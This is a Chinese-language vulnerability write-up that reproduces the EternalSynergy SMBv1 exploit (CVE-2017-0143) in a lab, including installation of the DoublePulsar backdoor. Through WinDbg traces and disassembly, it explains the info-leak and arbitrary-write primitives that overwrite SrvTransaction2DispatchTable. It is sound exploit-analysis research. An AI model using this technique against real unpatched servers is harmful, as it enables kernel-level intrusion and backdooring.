Eternalsynergy利用的漏洞分析(CVE-2017-0143)

环境搭建

  1. 把防火墙关闭了就好
  2. 安装域控

实验环境及工具如下:

server 2012 sp0 datacenter (装了域控,不是r2版本啊)
windbg
VirtualKD-3.0
wireshark

工具利用复现

首先第一次探测的时候做了如下事情:

  1. 获取目标系统版本信息
  2. 尝试可以访问的管道
  3. 探测目标系统的架构(32位还是64位)
  4. 还会输出可以利用什么工具,那几个工具的检测代码应该是类似的

接下来开始漏洞利用,先生成shellcode

生成shellcode

之后设置为上面生成shellcode的位置

最后即可安装后门

用Doublepulsar检测一下,确实成功了

根据输出信息,我们可以看到利用步骤如下:

  1. 利用信息泄露:先找到CONNECTION结构体,之后找到SRV全局指针,最后就找到了 Transaction2Dispatch tables的位置
  2. 查找可执行的内存
  3. 复制backdoor shellcode到上面找到的内存
  4. 触发stub分配器,覆盖backdoor函数指针
  5. 触发 DOUBLEPULSAR的安装

初步漏洞分析

我将shellcode前面都改为CC,跟着windbg就乖乖断下来了,刚好断在shellcode起始位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
kd> g
Break instruction exception - code 80000003 (first chance)
fffffa80`18e2e016 cc int 3
kd> kv
Child-SP RetAddr : Args to Child : Call Site
fffff880`0580e950 fffffa80`18e2e015 : fffff880`050486cf 00000000`00000005 fffffa80`1dd37a10 00000000`00000000 : 0xfffffa80`18e2e016
fffff880`0580e958 fffff880`050486cf : 00000000`00000005 fffffa80`1dd37a10 00000000`00000000 fffffa80`1a833470 : 0xfffffa80`18e2e015
fffff880`0580e960 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : srv!ExecuteTransaction+0x2cf
kd> dc eip
fffffa80`18e2e016 cccccccc cccccccc cccccccc cccccccc ................
fffffa80`18e2e026 cccccccc cccccccc cccccccc cccccccc ................
fffffa80`18e2e036 cccccccc cccccccc cccccccc cccccccc ................
fffffa80`18e2e046 cccccccc cccccccc cccccccc cccccccc ................
fffffa80`18e2e056 cccccccc cccccccc cccccccc cccccccc ................
fffffa80`18e2e066 cccccccc cccccccc cccccccc cccccccc ................
fffffa80`18e2e076 cccccccc cccccccc cccccccc cccccccc ................
fffffa80`18e2e086 cccccccc cccccccc cccccccc cccccccc ................

那bp srv!ExecuteTransaction看看什么情况

第一个包就暂停下来了,应该很多包都会暂停,那先不管

1
2
3
4
5
6
7
8
9
10
11
12
13
14
kd> g
Breakpoint 0 hit
srv!ExecuteTransaction:
fffff880`05048400 48895c2408 mov qword ptr [rsp+8],rbx
kd> kv
Child-SP RetAddr : Args to Child : Call Site
fffff880`04d2c9c8 fffff880`0504e041 : 00000000`00000001 fffff880`04d2ca49 fffffa80`1e2fa470 fffff8a0`0280a10c : srv!ExecuteTransaction
fffff880`04d2c9d0 fffff880`050039a0 : 00000000`00000001 fffffa80`00003f40 fffffa80`000010c0 fffff880`00000004 : srv!SrvSmbNtTransaction+0x6a9
fffff880`04d2cab0 fffff880`05003607 : fffffa80`1e2f9010 fffffa80`1d4d2b90 fffffa80`1e2f9a90 fffff880`0501a158 : srv!SrvProcessSmb+0x230
fffff880`04d2cb20 fffff880`05043572 : fffffa80`1d48a600 fffffa80`1e2f9010 00000000`00000000 fffffa80`1e2f9020 : srv!SrvRestartReceive+0x10f
fffff880`04d2cb60 fffff800`1afb1e3e : fffff8a0`026c70d0 fffffa80`1d48a600 00000000`00000080 fffffa80`1d45fdf0 : srv! ?? ::NNGAKEGL::`string'+0x42ef
fffff880`04d2cbe0 fffff800`1ac40521 : fffffa80`1dd8c400 fffff8a0`026c70d0 fffffa80`1a537218 fffff880`01c028b0 : nt!IopThreadStart+0x26
fffff880`04d2cc10 fffff800`1ac7edd6 : fffff800`1af14180 fffffa80`1dd8c400 fffffa80`1cb23b00 fffffa80`18c5f980 : nt!PspSystemThreadStartup+0x59
fffff880`04d2cc60 00000000`00000000 : fffff880`04d2d000 fffff880`04d27000 00000000`00000000 00000000`00000000 : nt!KxStartSystemThread+0x16

先看看ida看看srv!ExecuteTransaction+0x2cf前一个指令是什么
原来是SrvTransaction2DispatchTable里面的函数

1
PAGE:00000000000586C8                 call    rva SrvTransaction2DispatchTable[rdx+rax*8]

这样我就可以大胆推测,应该是改写了这个函数table里面的值

下面为table里面的函数列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
data:000000000002A920 SrvTransaction2DispatchTable dq offset SrvSmbOpen2
.data:000000000002A920 ; DATA XREF: ExecuteTransaction+2C8r
.data:000000000002A928 dq offset SrvSmbFindFirst2
.data:000000000002A930 dq offset SrvSmbFindNext2
.data:000000000002A938 dq offset SrvSmbQueryFsInformation
.data:000000000002A940 dq offset SrvSmbSetFsInformation
.data:000000000002A948 dq offset SrvSmbQueryPathInformation
.data:000000000002A950 dq offset SrvSmbSetPathInformation
.data:000000000002A958 dq offset SrvSmbQueryFileInformation
.data:000000000002A960 dq offset SrvSmbSetFileInformation
.data:000000000002A968 dq offset SrvSmbFindNotify
.data:000000000002A970 dq offset SrvSmbIoctl2
.data:000000000002A978 dq offset SrvSmbFindNotify
.data:000000000002A980 dq offset SrvSmbFindNotify
.data:000000000002A988 dq offset SrvSmbCreateDirectory2
.data:000000000002A990 dq offset SrvTransactionNotImplemented
.data:000000000002A998 dq offset SrvTransactionNotImplemented
.data:000000000002A9A0 dq offset SrvSmbGetDfsReferral
.data:000000000002A9A8 dq offset SrvSmbReportDfsInconsistency

我们对bp srv!ExecuteTransaction+0x2c8,即 call rva SrvTransaction2DispatchTable[rdx+rax*8]下断
,执行几次我们就到达了调用shellcode处,可以看到.data:000000000002A990 dq offset SrvTransactionNotImplemented被覆盖掉了,我们可以在这里下断看看是什么时候被写入的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kd> dqs SrvTransaction2DispatchTable l12
fffff880`0501a920 fffff880`05078240 srv!SrvSmbOpen2
fffff880`0501a928 fffff880`050542fc srv!SrvSmbFindFirst2
fffff880`0501a930 fffff880`05074dcc srv!SrvSmbFindNext2
fffff880`0501a938 fffff880`05057c18 srv!SrvSmbQueryFsInformation
fffff880`0501a940 fffff880`0507708c srv!SrvSmbSetFsInformation
fffff880`0501a948 fffff880`05056bc0 srv!SrvSmbQueryPathInformation
fffff880`0501a950 fffff880`05071140 srv!SrvSmbSetPathInformation
fffff880`0501a958 fffff880`0504be70 srv!SrvSmbQueryFileInformation
fffff880`0501a960 fffff880`0505a000 srv!SrvSmbSetFileInformation
fffff880`0501a968 fffff880`0507745c srv!SrvSmbFsctl
fffff880`0501a970 fffff880`05075370 srv!SrvSmbIoctl2
fffff880`0501a978 fffff880`0507745c srv!SrvSmbFsctl
fffff880`0501a980 fffff880`0507745c srv!SrvSmbFsctl
fffff880`0501a988 fffff880`050730d8 srv!SrvSmbCreateDirectory2
fffff880`0501a990 fffffa80`18e2d010
fffff880`0501a998 fffff880`050796e8 srv!SrvTransactionNotImplemented
fffff880`0501a9a0 fffff880`05069160 srv!SrvSmbGetDfsReferral
fffff880`0501a9a8 fffff880`05068dc4 srv!SrvSmbReportDfsInconsistency

结果发现是SrvSmbTransactionSecondary时调用了memmove

1
2
3
4
5
6
7
8
kd> g
Breakpoint 0 hit
srv!memmove+0x2f:
fffff880`0500186f 75ef jne srv!memmove+0x20 (fffff880`05001860)
kd> kv
Child-SP RetAddr : Args to Child : Call Site
fffff880`058d1a18 fffff880`0507e384 : fffffa80`1e325470 fffffa80`1e324010 fffffa80`1e325450 00000000`00000001 : srv!memmove+0x2f
fffff880`058d1a20 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : srv!SrvSmbTransactionSecondary+0x2d4

是在下面这里

那么就是利用这里进行任意地址的写操作,到这了没什么思路,到底具体是什么原因导致这里任意地址写呢

我们从最开始分析吧

判断系统位数

通过发送bind,看看收到的bind ack那里来确定系统位数

也可以看到攻击端是32位的

信息泄露数据包体现

获取到了CONNECTION结构的地址

  1. 发了好多Trans Request,MID是递增的,所以应该在内存构建了多个相邻的transaction

  2. 获取到了CONNECTION结构的地址后就用这地址去发送Request,这里的数据包是嵌套了很多smb数据,其中我们的
    CONNECTION struct: 0xFFFFFA801D4D3B90 是在第3个smb里面(不算第一个的话)

  1. 收到SRV global data pointer

  1. 发了很多尝试包,都是两个两个发的,下面这个是泄露那个table的最后一个包

  1. 收到这个包就确定了table的地址,应该是根据这个table前面有很多0xfe,还有table中后面两个函数指针是保留指针,所以地址是一样的,猜测是这样判断的

6.最后就是判断读写执行的内存的返回包,其实后来调试他是在寻找nt!KxUnexpectedInterrupt0,这个地址就是RWX地址

返回包

信息泄露原理

原理简述

这里面用了两种信息泄露的点

  1. 发送nt rename包,在RestartTransactionResponse的时候利用下面的这一句覆盖另一个transaction的OutData指针,这个用于泄露CONNECTION地址

    1
    memmove(pNtRenameParameters, (const void *)(*(_QWORD *)(transaction + 0x88) + dataDisplacement), DataCount);// 0x88偏移为out Data
  2. 第二种是利用SrvSmbTransactionSecondary下面这句,泄露其他地址

1
2
3
4
memmove(
(void *)(*(_QWORD *)(v8 + 0x80) + DataDisplacementCopy),// 0x80偏移是InData指针
(const void *)(smbTotalDataCopy + DataoffsetCopy),
DataCount);

其实我觉得别的文章说的类型混淆,可能找transaction的时候找到的是WriteAndX的,实际上更重要的是dataDisplacement的偏移,而且数据包中很多利用的MID都是0,应该只有两次是利用了WriteAndX同样的MID

既然可以覆盖OutData指针,那么也可以覆盖InData指针,就可以达到任意地址写的目的了

通过SrvFindTransaction看信息泄露

下断点 bp SrvFindTransaction+0xbb "r r15;dq rsi+0xc0;gc"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
.......
r15=0000000000000000
fffff8a0`02b65330 00000000`000087f4 00000000`00000000
fffff8a0`02b65340 00000000`00000000 00000000`00000000
fffff8a0`02b65350 00000000`00010101 00000000`00000000
fffff8a0`02b65360 00000000`00000000 00000000`00000000
fffff8a0`02b65370 00000000`00000000 00000000`00000000
fffff8a0`02b65380 00000000`00000000 00000000`00000000
fffff8a0`02b65390 00000000`00000000 00000000`00000000
fffff8a0`02b653a0 00000000`00000000 00000000`00000000
r15=0000000000000000
fffff8a0`02b8b330 00000000`000087f5 00000000`00000000
fffff8a0`02b8b340 00000000`00000000 00000000`00000000
fffff8a0`02b8b350 00000000`00010101 00000000`00000000
fffff8a0`02b8b360 00000000`00000000 00000000`00000000
fffff8a0`02b8b370 00000000`00000000 00000000`00000000
fffff8a0`02b8b380 00000000`00000000 00000000`00000000
fffff8a0`02b8b390 00000000`00000000 00000000`00000000
fffff8a0`02b8b3a0 00000000`00000000 00000000`00000000
r15=0000000000000000
fffff8a0`02ba1330 00000000`00000000 00000000`00000000
fffff8a0`02ba1340 00000000`00000000 00000000`00000000
fffff8a0`02ba1350 00000000`00010101 00000000`00000000
fffff8a0`02ba1360 00000000`00000000 00000000`00000000
fffff8a0`02ba1370 00000000`00000000 00000000`00000000
fffff8a0`02ba1380 00000000`00000000 00000000`00000000
fffff8a0`02ba1390 00000000`00000000 00000000`00000000
fffff8a0`02ba13a0 00000000`00000000 00000000`00000000
kd> dq fffff8a0`02ba1330-0xc0
fffff8a0`02ba1270 00000000`0d8c020c fffffa80`1e25e810
fffff8a0`02ba1280 fffffa80`1d4d5910 fffff8a0`02d41750
fffff8a0`02ba1290 fffff8a0`01c20dd0 fffff8a0`02bd0298
fffff8a0`02ba12a0 fffff8a0`02b8b298 00000000`00000000
fffff8a0`02ba12b0 00000000`00020000 fffff8a0`02ba1368
fffff8a0`02ba12c0 00000001`0004a0b5 00000000`00000000
fffff8a0`02ba12d0 fffff8a0`02ba136c 00000000`00000000
fffff8a0`02ba12e0 fffff8a0`02ba136c fffff8a0`02ba13ac
kd> dq fffff8a0`02ba1330-0xc0+0x80
fffff8a0`02ba12f0 fffff8a0`02b4e170 fffff8a0`02ba1ffc
fffff8a0`02ba1300 00000000`00000000 00000000`00000000
fffff8a0`02ba1310 00000004`00000c50 00000000`00001000
fffff8a0`02ba1320 00000101`00000000 08032155`08030000
fffff8a0`02ba1330 00000000`00000000 00000000`00000000
fffff8a0`02ba1340 00000000`00000000 00000000`00000000
fffff8a0`02ba1350 00000000`00010101 00000000`00000000
fffff8a0`02ba1360 00000000`00000000 00000000`00000000

那么可以看到 fffff8a002b4e170+ 0x88 = fffff8a002b4e1f8

这个地址就是被利用的地址(即fffff8a002ba1270地址这个transaction的InData指针的加一个偏移后,覆盖了另一个transaction的OutData指针,从而达到信息泄露的目的),0x88为Data Displacement

泄露CONNECTION地址

在这一句已经开始发送泄露的数据包,去泄露CONNECTION的地址

数据包如下:(可以看到是NT RENAME的trans数据包)

处理第一个包

接下来就会进入srv!SrvSmbNtRename函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
kd> g
Breakpoint 1 hit
srv!SrvSmbNtRename:
fffff880`05073818 48895c2410 mov qword ptr [rsp+10h],rbx
kd> kv
Child-SP RetAddr : Args to Child : Call Site
fffff880`0337f978 fffff880`05048801 : fffff800`00000005 fffff880`0337fa49 00000000`00000002 fffff880`050018ef : srv!SrvSmbNtRename
fffff880`0337f980 fffff880`0504e041 : 00000000`00000001 fffff880`0337fa49 fffffa80`1d495240 fffff8a0`02c4210c : srv!ExecuteTransaction+0x401
fffff880`0337f9d0 fffff880`050039a0 : 00000000`00000001 fffffa80`00003f40 fffffa80`000010c0 fffff880`00000004 : srv!SrvSmbNtTransaction+0x6a9
fffff880`0337fab0 fffff880`05003607 : fffffa80`1d49a750 fffffa80`1d4d4b90 fffffa80`1d49b1d0 fffff880`0501a158 : srv!SrvProcessSmb+0x230
fffff880`0337fb20 fffff880`05043572 : fffffa80`1d48a600 fffffa80`1d49a750 00000000`00000000 fffffa80`1d49a760 : srv!SrvRestartReceive+0x10f
fffff880`0337fb60 fffff800`1afb1e3e : fffff8a0`017ab0a0 fffffa80`1d48a600 00000000`00000080 fffffa80`1d45fdf0 : srv! ?? ::NNGAKEGL::`string'+0x42ef
fffff880`0337fbe0 fffff800`1ac40521 : fffffa80`18d49040 fffff8a0`017ab0a0 fffff8a0`01b0e478 fffff8a0`00308a70 : nt!IopThreadStart+0x26
fffff880`0337fc10 fffff800`1ac7edd6 : fffff800`1af14180 fffffa80`18d49040 fffffa80`1d48e040 fffffa80`18c5f980 : nt!PspSystemThreadStartup+0x59
fffff880`0337fc60 00000000`00000000 : fffff880`03380000 fffff880`0337a000 00000000`00000000 00000000`00000000 : nt!KxStartSystemThread+0x1

这函数是从工具程序和数据包联合启发而找到的

SrvSmbNtRename函数在SrvNtTransactionDispatchTable中,通过偏移调用实现的

接下来我们动态跟踪

里面对FID进行Verify

返回值为0xfffffa801dfb39d0(那是某一次调试记录),之后函数就返回了

整个流程如下

出来后进入这个

跟数据包中下面这个是相关的

最后在SrvCompleteExecuteTransaction调用SrvStartSend返回smb数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
kd> p
srv!ExecuteTransaction+0x7a9:
fffff880`05048ba9 e832000000 call srv!SrvCompleteExecuteTransaction (fffff880`05048be0)
kd> bp SrvStartSend2
kd> bp SrvStartSend
kd> g
Breakpoint 5 hit
srv!SrvStartSend:
fffff880`0500dd20 48895c2408 mov qword ptr [rsp+8],rbx
kd> dc poi(rcx+0xc0)
fffffa80`1d495220 424d53ff 000000a0 c0039800 00000000 .SMB............
fffffa80`1d495230 00000000 00000000 8d790800 fb910800 ..........y.....
fffffa80`1d495240 00000012 00000004 000010c0 00000004 ................
fffffa80`1d495250 00000048 00000000 000010b8 0000004c H...........L...
fffffa80`1d495260 00000000 0010bd00 77c04000 068450ca .........@.w.P..
fffffa80`1d495270 0b13c8fb 6db02c36 ef97c0ff 2550ed2b ....6,.m....+.P%
fffffa80`1d495280 c0a10aee 5572a1c6 125825c1 654704c3 ......rU.%X...Ge
fffffa80`1d495290 f05286d3 fbd127f2 14eb5b49 ab2613ad ..R..'..I[....&.

还有一个问题没弄明白的就是rename的数据到底有什么用,暂时猜测只是填充

处理第二个包secondary包

由于是Nt trans 的包,所以调用的是srv!SrvSmbNtTransactionSecondary

1
2
3
4
5
6
7
8
9
10
11
12
13
kd> g
Breakpoint 3 hit
srv!SrvSmbNtTransactionSecondary:
fffff880`0507db34 fff3 push rbx
kd> kv
Child-SP RetAddr : Args to Child : Call Site
fffff880`0337faa8 fffff880`050039a0 : 00000000`00000001 fffffa80`00003f40 fffffa80`19b36010 fffff880`05007f5a : srv!SrvSmbNtTransactionSecondary
fffff880`0337fab0 fffff880`05003607 : fffffa80`1d499360 fffffa80`1d4d4b90 fffffa80`1d499de0 fffff880`0501a158 : srv!SrvProcessSmb+0x230
fffff880`0337fb20 fffff880`05043572 : fffffa80`1d48a600 fffffa80`1d499360 00000000`00000000 fffffa80`1d499370 : srv!SrvRestartReceive+0x10f
fffff880`0337fb60 fffff800`1afb1e3e : fffff8a0`017ab0a0 fffffa80`1d48a600 00000000`00000080 fffffa80`1d45fdf0 : srv! ?? ::NNGAKEGL::`string'+0x42ef
fffff880`0337fbe0 fffff800`1ac40521 : fffffa80`18d49040 fffff8a0`017ab0a0 fffff8a0`01b0e478 fffff8a0`00308a70 : nt!IopThreadStart+0x26
fffff880`0337fc10 fffff800`1ac7edd6 : fffff800`1af14180 fffffa80`18d49040 fffffa80`1d48e040 fffffa80`18c5f980 : nt!PspSystemThreadStartup+0x59
fffff880`0337fc60 00000000`00000000 : fffff880`03380000 fffff880`0337a000 00000000`00000000 00000000`00000000 : nt!KxStartSystemThread+0x16

在下面这条赋值中发现上面截图中数据包中的数据

1
2
3
4
5
6
7
8
9
10
11
12
kd> p
srv!SrvSmbNtTransactionSecondary+0x18:
fffff880`0507db4c 488b99c8000000 mov rbx,qword ptr [rcx+0C8h]
kd> db poi(rcx+0C8)+28
fffffa80`1d4910d8 ca 50 84 06 fb c8 13 0b-36 2c b0 6d ff c0 97 ef .P......6,.m....
fffffa80`1d4910e8 2b ed 50 25 ee 0a a1 c0-c6 a1 72 55 c1 25 58 12 +.P%......rU.%X.
fffffa80`1d4910f8 c3 04 47 65 d3 86 52 f0-f2 27 d1 fb 49 5b eb 14 ..Ge..R..'..I[..
fffffa80`1d491108 ad 13 26 ab db 9d db c7-2c fa a3 19 b9 04 10 ca ..&.....,.......
fffffa80`1d491118 0d 94 74 59 db 8b 6f 59-ae 27 a6 d6 92 5f 53 82 ..tY..oY.'..._S.
fffffa80`1d491128 4c b1 bf b8 61 53 7d 15-ca 91 e3 59 36 7c 0d 23 L...aS}....Y6|.#
fffffa80`1d491138 aa 0a 7f f6 4e b4 9c 90-bd af c8 14 18 eb 79 e2 ....N.........y.
fffffa80`1d491148 3f af f0 48 55 14 c1 83-da ca 34 61 6c 05 1f 19 ?..HU.....4al...

下面调用SrvFindTransaction,找到了,返回了0xfffff8a002c42010

出了SrvFindTransaction函数调试到下面

根据数值和数据包可以大胆猜测偏移0x10的是Parameter Offset,0x1c的是Data Offset

下面就进入memmove那里了
由于ParameterCount为0,就只进入第二个memmove那里了

先看一下参数,复制的大小是DataCount的值0x150,目标是fffff8a002c46050

1
2
3
4
5
6
7
8
9
kd> p
srv!SrvSmbNtTransactionSecondary+0x2fe:
fffff880`0507de32 e8093af8ff call srv!memmove (fffff880`05001840)
kd> r rcx
rcx=fffff8a002c46050
kd> r rdx
rdx=fffffa801d4910d8
kd> r r8
r8=0000000000000150

目标地址是第一次trans Request的数据(这样会被覆盖吧)

那么这里DataDisplacementCopy为0,导致覆盖了前一个transaction的InData指向的地址

但是发现其实前150个字节是一样的,汗~

接下来对对应的transaction的对应字段加上相应的值

到这其实有个问题,就是实际上transaction的数据并没有增大,这个datacout应该是虚增了,但看不出什么问题

1
2
fffff880`0507deb6 4401b6a4000000  add     dword ptr [rsi+0A4h],r14d ds:002b:fffff8a0`02c420b4=000010c0
fffff880`0507debd 4401be98000000 add dword ptr [rsi+98h],r15d ds:002b:fffff8a0`02c420a8=00000004

再下面就到了SrvDereferenceConnection,没进入if,直接出来了

SrvSmbNtTransactionSecondary出来了就到了SrvEndSmbProcessing

一次偶然发现第一次nt response和第二次的nt response内存中的地址是一样的

1
2
3
4
5
6
7
kd> g
Breakpoint 5 hit
srv!SrvStartSend:
fffff880`0500dd20 48895c2408 mov qword ptr [rsp+8],rbx
kd> dc poi(rcx+0xc0) l50
fffffa80`1d495220 424d53ff 000000a0 c0039800 00000000 .SMB............
fffffa80`1d495230 00000000 00000000 741b0802 29e10802 ...........t...)
1
2
3
4
5
6
kd> g
Breakpoint 1 hit
srv!SrvStartSend2:
fffff880`05003b20 48895c2408 mov qword ptr [rsp+8],rbx
kd> dc poi(rcx+0xc0) l50
fffffa80`1d495220 424d53ff 000000a0 c0039800 00000000 .SMB............

所以我在获取了第一次的地址后,对c0偏移位置下写入断点就好了,果然断下来了,原来调用了RestartTransactionResponse函数

再一步步跟原来调用了RestartTransactionResponse函数,终于找到点子上了

首先将第一个response包的DataCount给到一个局部变量,这个局部变量其实就是下面要用到的dataDisplacement

之后便是一些赋值,计算操作(这个对整个分析的理解是很重要的,当然这个过程我也结合了数据包中的数据)

接下来就将第一次的nt response的OutData再偏移dataDisplacement(0x10b8)

看看复制的源地址是什么,这个地址刚好是第一次nt response的OutData的后面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
kd> dq poi(rbx+88)+10b8 l21
fffff8a0`02836108 bfbce2e1`834ca2db 00000000`00000000
fffff8a0`02836118 00000000`00000000 67617246`03020100
fffff8a0`02836128 00000000`00000000 00000000`00005120
fffff8a0`02836138 00000000`00000000 65657246`00010102
fffff8a0`02836148 00000000`00000000 7274534c`03eb0101
fffff8a0`02836158 fffff880`00969ff0 00000000`00000e8c
fffff8a0`02836168 00000000`00000000 00000000`0e8c020c
fffff8a0`02836178 fffffa80`1ddcc4d0 fffffa80`1d4d2b90
fffff8a0`02836188 fffff8a0`01bd8a90 fffff8a0`02a9b650
fffff8a0`02836198 fffff8a0`02268048 fffff8a0`02831038
fffff8a0`028361a8 00000000`00000000 00000000`00020000
fffff8a0`028361b8 fffff8a0`02836268 ffffffff`000061ea
fffff8a0`028361c8 00000000`00000000 fffff8a0`0283626c
fffff8a0`028361d8 00000000`00000000 fffff8a0`0283626c
fffff8a0`028361e8 fffff8a0`028362fc fffff8a0`0283626c
fffff8a0`028361f8 fffff8a0`02836ffc 00000000`00000000
fffff8a0`02836208 00000000`00000000

这里我们看到了熟悉的fffffa801d4d2b90,这个就是CONNECTION结构地址

再看看这个地址有什么符号,我们看到了srv!SrvGlobalSpinLocks+0x70,这个应该就是SRV global data pointer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
kd> dqs fffffa80`1d4d2b90
fffffa80`1d4d2b90 00000016`04700202
fffffa80`1d4d2b98 00000000`00000000
fffffa80`1d4d2ba0 00000000`00000000
fffffa80`1d4d2ba8 00000000`00000000
fffffa80`1d4d2bb0 00000000`00000000
fffffa80`1d4d2bb8 00000000`00000000
fffffa80`1d4d2bc0 00000000`00000000
fffffa80`1d4d2bc8 fffff880`0501af50 srv!SrvGlobalSpinLocks+0x70
fffffa80`1d4d2bd0 fffffa80`1d48a600
fffffa80`1d4d2bd8 00000000`ffffffed
fffffa80`1d4d2be0 fffffa80`1a590990
fffffa80`1d4d2be8 80010000`00004000
fffffa80`1d4d2bf0 00000000`00000001
fffffa80`1d4d2bf8 fffffa80`1d4d1dd0
fffffa80`1d4d2c00 fffffa80`1d4a7040
fffffa80`1d4d2c08 fffffa80`1d48a600

泄露 SRV global data pointer

经过一番调试,费了一上午,突然想到,既然已经知道CONNECTION的地址了,那么我对CONNECTION的那个偏移下读取断点不就行了

1
bp srv!RestartTransactionResponse+0x288 "dqs poi(rdx+78);ba r8 poi(rdx+78)+38"

由于ba r8 poi(rdx+78)+38这个断点断了很多,最后断到了memmove,结果一时手快,直接g,错过了

后来还是辛苦的断了下来,原来是SrvCompleteExecuteTransaction调用的memmove

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
......
kd> g
Breakpoint 11 hit
srv!SrvFsdRequeueReceiveWorkItem+0xab:
fffff880`05002e6b 408af0 mov sil,al
kd> g
Breakpoint 11 hit
srv!SrvFsdRequeueReceiveWorkItem+0xe6:
fffff880`05002ea6 8b4704 mov eax,dword ptr [rdi+4]
kd> g
Breakpoint 11 hit
srv!SrvFsdRequeueReceiveWorkItem+0xab:
fffff880`05002e6b 408af0 mov sil,al
kd> g
Breakpoint 11 hit
srv!SrvFsdRequeueReceiveWorkItem+0xe6:
fffff880`05002ea6 8b4704 mov eax,dword ptr [rdi+4]
kd> g
Breakpoint 11 hit
srv!memmove+0x1c5:
fffff880`05001a05 4883e908 sub rcx,8
kd> kv
Child-SP RetAddr : Args to Child : Call Site
fffff880`05ee8ad8 fffff880`05049013 : fffffa80`1d48a648 00000000`0000000f 00000000`00000000 00000000`00000001 : srv!memmove+0x1c5
fffff880`05ee8ae0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : srv!SrvCompleteExecuteTransaction+0x433

可以再下个断点确认一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
kd> g
Breakpoint 5 hit
srv!SrvCompleteExecuteTransaction+0x42e:
fffff880`0504900e e82d88fbff call srv!memmove (fffff880`05001840)
kd> dqs rdx
fffffa80`1d4d4480 00000045`04700202
fffffa80`1d4d4488 00000000`00000000
fffffa80`1d4d4490 00000000`00000000
fffffa80`1d4d4498 00000000`00000000
fffffa80`1d4d44a0 00000000`00000000
fffffa80`1d4d44a8 00000000`00000000
fffffa80`1d4d44b0 00000000`00000000
fffffa80`1d4d44b8 fffff880`0501af78 srv!SrvGlobalSpinLocks+0x98
fffffa80`1d4d44c0 fffffa80`1d48a600
fffffa80`1d4d44c8 00000000`ffffffa8
fffffa80`1d4d44d0 fffffa80`19f51110
fffffa80`1d4d44d8 80060000`00004000
fffffa80`1d4d44e0 00000000`00000006
fffffa80`1d4d44e8 fffffa80`1d4d1dd0
fffffa80`1d4d44f0 fffffa80`1e287680
fffffa80`1d4d44f8 fffffa80`1d48a600

这个函数跟了下,复制大小是0x40,复制的起始地址是正是CONNECTION的其实地址

那应该是覆盖了附近的transaction的OutData指针了

在SrvSmbTransactionSecondary+0x2cf 下个断点(即里面的memmove那里)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
kd> bp srv!SrvSmbTransactionSecondary+0x2cf ".if (@r8 > 0x8) {r rdx;r r8;db rdx l100;.echo ----------}.else{gc}"
kd> g
rdx=fffffa8019b51492
r8=0000000000000028
fffffa80`19b51492 90 16 4d 1d 80 fa ff ff-04 00 00 00 00 00 00 00 ..M.............
fffffa80`19b514a2 00 00 00 00 00 00 00 00-10 00 00 00 00 00 00 00 ................
fffffa80`19b514b2 00 00 00 00 40 00 00 00-04 00 00 00 00 00 54 5d ....@.........T]
fffffa80`19b514c2 04 00 00 00 00 00 53 5d-04 00 00 00 00 00 52 5d ......S]......R]
fffffa80`19b514d2 04 00 00 00 00 00 51 5d-04 00 00 00 00 00 d0 5c ......Q].......\
fffffa80`19b514e2 04 00 00 00 00 00 cf 5c-04 00 00 00 00 00 4e 5c .......\......N\
fffffa80`19b514f2 04 00 00 00 00 00 cd 5c-04 00 00 00 00 00 cc 5c .......\.......\
fffffa80`19b51502 04 00 00 00 00 00 cb 5c-04 00 00 00 00 00 ca 5c .......\.......\
fffffa80`19b51512 04 00 00 00 00 00 c9 5c-04 00 00 00 00 00 c8 5c .......\.......\
fffffa80`19b51522 04 00 00 00 00 00 c7 5c-04 00 00 00 00 00 c6 5c .......\.......\
fffffa80`19b51532 04 00 00 00 00 00 c5 5c-04 00 00 00 00 00 c4 5c .......\.......\
fffffa80`19b51542 04 00 00 00 00 00 43 5d-04 00 00 00 00 00 42 5d ......C]......B]
fffffa80`19b51552 04 00 00 00 00 00 41 5d-04 00 00 00 00 00 40 5d ......A]......@]
fffffa80`19b51562 04 00 00 00 00 00 3f 5d-04 00 00 00 00 00 3e 5d ......?]......>]
fffffa80`19b51572 04 00 00 00 00 00 3d 5d-04 00 00 00 00 00 3c 5d ......=]......<]
fffffa80`19b51582 04 00 00 00 00 00 3b 5d-04 00 00 00 00 00 ba 5c ......;].......\
----------
srv!SrvSmbTransactionSecondary+0x2cf:
fffff880`0507e37f e8bc34f8ff call srv!memmove (fffff880`05001840)
kd> kv
Child-SP RetAddr : Args to Child : Call Site
fffff880`044afa20 fffff880`050039a0 : 00000000`00000000 ffffc7b4`00000000 fffffa80`00000042 00000000`00000088 : srv!SrvSmbTransactionSecondary+0x2cf
fffff880`044afab0 fffff880`05003607 : fffffa80`19b50010 fffffa80`1d4d1690 fffffa80`19b50a90 fffff880`0501a158 : srv!SrvProcessSmb+0x230
fffff880`044afb20 fffff880`05043572 : fffffa80`1d48a600 fffffa80`19b50010 00000000`00000000 fffffa80`19b50020 : srv!SrvRestartReceive+0x10f
fffff880`044afb60 fffff800`1afb1e3e : fffff8a0`02a765a0 fffffa80`1d48a600 00000000`00000080 fffffa80`1d45fdf0 : srv! ?? ::NNGAKEGL::`string'+0x42ef
fffff880`044afbe0 fffff800`1ac40521 : fffffa80`19aafb00 fffff8a0`02a765a0 fffff8a0`01b0e478 fffff8a0`00308a70 : nt!IopThreadStart+0x26
fffff880`044afc10 fffff800`1ac7edd6 : fffff800`1af14180 fffffa80`19aafb00 fffffa80`1cbab080 fffffa80`18c5f980 : nt!PspSystemThreadStartup+0x59
